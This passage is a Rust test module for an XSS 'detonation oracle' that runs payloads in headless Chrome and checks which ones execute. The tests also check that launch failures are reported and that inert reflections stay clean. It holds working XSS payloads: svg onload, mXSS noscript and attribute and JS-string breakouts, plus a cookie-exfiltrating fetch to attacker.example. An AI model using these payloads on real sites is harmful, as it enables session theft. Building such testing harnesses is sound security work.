        assert!(p.executed && p.proves("1"), "served-doc <script> must fire: {p:?}");
    }

    #[test]
    fn detonation_that_cannot_launch_reports_failure_not_silent_safe() {
        // A detonation that CANNOT run (bogus binary => Chrome never launches)
        // must return a proof FLAGGED as failed, not a silent empty proof that
        // reads as "payload is safe" (Law 10: an infra failure in a detonation
        // oracle is a false negative). Deterministic: needs no real Chrome, since
        // the point is that the launch fails. The harness server still binds and
        // is dropped cleanly when `failed()` returns.
        let p = detonate_with_binary(
            "/nonexistent/definitely/not/a/real/chrome",
            "<script>alert(1)</script>",
        );
        assert!(
            p.failed_to_run(),
            "an infra failure must set `error`, got {p:?}"
        );
        let msg = p.error.as_deref().unwrap();
        assert!(
            msg.contains("launch") || msg.contains("timed out"),
            "error must name the launch/timeout cause, got {msg:?}"
        );
        assert!(!p.executed, "a failed run must not claim execution");
        assert!(!p.proves("1"), "a failed run must not prove exploitation");
    }
    #[test]
    fn chrome_fails_loudly_on_process_exit_failure() {
        // A process that launches but exits with non-zero status (e.g. false / crash)
        // must return a proof flagged as failed, not a silent executed:false.
        #[cfg(unix)]
        {
            let p = detonate_with_binary("false", "<script>alert(1)</script>");
            assert!(p.failed_to_run(), "process failure status must set error, got {p:?}");
            assert!(!p.executed);
        }
    }

    #[test]
    fn extract_data_x_rejects_dom_without_html() {
        assert_eq!(extract_data_x("net::ERR_CONNECTION_REFUSED"), None);
        assert_eq!(extract_data_x(""), None);
    }

    #[test]
    fn chrome_proves_svg_onload() {
        let Some(c) = chrome_or_skip() else { return };
        let p = detonate_with_binary(&c, "<svg onload=alert(1)>");
        assert!(p.proves("1"), "{p:?}");
    }

    #[test]
    fn chrome_clean_on_inert_reflection() {
        let Some(c) = chrome_or_skip() else { return };
        // No false positive: escaped / plain reflection reaches no sink.
        let p = detonate_with_binary(&c, "<div>&lt;script&gt;alert(1)&lt;/script&gt;</div>");
        assert!(!p.executed, "inert reflection must not execute: {p:?}");
        assert!(p.sinks.is_empty(), "{p:?}");
    }

    #[test]
    fn chrome_fires_mxss_noscript_that_jsdet_cannot() {
        let Some(c) = chrome_or_skip() else { return };
        // mXSS: inert as parsed, executes when re-serialized through innerHTML.
        // This is the categorical capability the jsdet engine lacks.
        let p = detonate_with_binary(&c, "<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">");
        assert!(p.executed && p.proves("1"), "mXSS noscript must fire in chrome: {p:?}");
    }

    #[test]
    fn chrome_proves_network_exfil() {
        let Some(c) = chrome_or_skip() else { return };
        let p = detonate_with_binary(&c, "<svg onload=fetch('//attacker.example/?c='+document.cookie)>");
        assert!(p.executed, "{p:?}");
        assert!(p.sinks.iter().any(|s| s.kind == "network"), "network sink: {p:?}");
        assert!(
            p.sinks.iter().any(|s| s.detail.contains("attacker.example")),
            "exfil host captured: {p:?}"
        );
    }

    #[test]
    fn chrome_fetch_override_resolves_so_chain_continues() {
        let Some(c) = chrome_or_skip() else { return };
        // Regression: the fetch override used to return a never-resolving
        // Promise, so any `.then()`/`await` chain after a fetch hung and the
        // sinks it would have reached were never recorded. The override now
        // returns a resolved mock Response, so the continuation fires.
        let p = detonate_with_binary(
            &c,
            "<svg onload=\"fetch('//attacker.example/x').then(function(){alert('after-fetch')})\">",
        );
        assert!(p.executed, "{p:?}");
        assert!(
            p.sinks.iter().any(|s| s.kind == "network"),
            "the fetch itself must still record a network sink: {p:?}"
        );
        assert!(
            p.sinks
                .iter()
                .any(|s| s.kind == "alert" && s.detail.contains("after-fetch")),
            "the .then continuation after fetch must run and reach the alert sink \
             (proves fetch no longer hangs the chain): {p:?}"
        );
    }

    #[test]
    fn chrome_window_open_override_returns_usable_window() {
        let Some(c) = chrome_or_skip() else { return };
        // Regression: window.open used to return undefined, so a payload calling
        // a method on the result (`window.open(u).focus()`) threw a TypeError
        // that aborted the rest of the payload, dropping every later sink. The
        // override now returns a mock window with focus/close/etc.
        let p = detonate_with_binary(
            &c,
            "<svg onload=\"window.open('//attacker.example/p').focus();alert('after-open')\">",
        );
        assert!(p.executed, "{p:?}");
        assert!(
            p.sinks.iter().any(|s| s.kind == "popup"),
            "window.open must still record a popup sink: {p:?}"
        );
        assert!(
            p.sinks
                .iter()
                .any(|s| s.kind == "alert" && s.detail.contains("after-open")),
            "code after window.open(...).focus() must still run (proves the mock \
             window is usable, no TypeError abort): {p:?}"
        );
    }

    // ─────────── reflection-context detonation (the weaponisation frontier) ───────────
    // The reflect-origin reflects `q` into several execution contexts (body,
    // attribute, JS-string, double-decode). These assert the oracle faithfully
    // detonates what each context returns, both the firing breakout AND the
    // inert non-breakout (so a context's bypass-vs-execute number is trustworthy).

    #[test]
    fn chrome_proves_attribute_context_breakout() {
        let Some(c) = chrome_or_skip() else { return };
        // What `ctx=attr` returns when `q` breaks out of value="…": the quote
        // closes the attribute, the svg handler then fires as the page parses.
        let body = r#"<input type="text" value=""><svg onload=alert(1)>">"#;
        let p = detonate_with_binary(&c, body);
        assert!(p.proves("1"), "attribute breakout must fire: {p:?}");
    }

    #[test]
    fn chrome_clean_on_attribute_no_breakout() {
        let Some(c) = chrome_or_skip() else { return };
        // A value that stays inside the quotes is inert (no false positive).
        let body = r#"<input type="text" value="harmless onfocus=alert(1)">"#;
        let p = detonate_with_binary(&c, body);
        assert!(!p.executed, "contained attribute value must not execute: {p:?}");
    }

    #[test]
    fn chrome_proves_js_string_context_breakout() {
        let Some(c) = chrome_or_skip() else { return };
        // What `ctx=js` returns when `q` breaks out of var t="…": NO angle
        // brackets, NO event handler, the high-value bridge a markup-focused
        // WAF rule never policed, yet it executes verbatim in a script context.
        let body = r#"<script>var t="";alert(1);//";</script>"#;
        let p = detonate_with_binary(&c, body);
        assert!(p.proves("1"), "JS-string breakout must fire: {p:?}");
    }

    #[test]
    fn chrome_clean_on_js_string_escaped() {
        let Some(c) = chrome_or_skip() else { return };
        // A backslash-escaped quote keeps the payload inside the string literal:
        // the app escaped it, so it must NOT execute (no false positive).
        let body = r#"<script>var t="\";alert(1);//";</script>"#;
        let p = detonate_with_binary(&c, body);
        assert!(!p.executed, "escaped JS string must not execute: {p:?}");
    }

    #[test]
    fn chrome_inert_on_double_encoded_without_second_decode() {
        let Some(c) = chrome_or_skip() else { return };
        // The double-decode bridge is the APPLICATION's second URL-decode, not
        // the browser's. Reflected as-is (no second decode), a double-encoded
        // payload is plain inert text, proving the `dd` context's execution is
        // attributable to the app's decoding, not to the oracle inventing it.
        let body = "<div>%253Csvg%2520onload%253Dalert(1)%253E</div>";
        let p = detonate_with_binary(&c, body);
        assert!(!p.executed, "double-encoded text must stay inert in the browser: {p:?}");
    }
}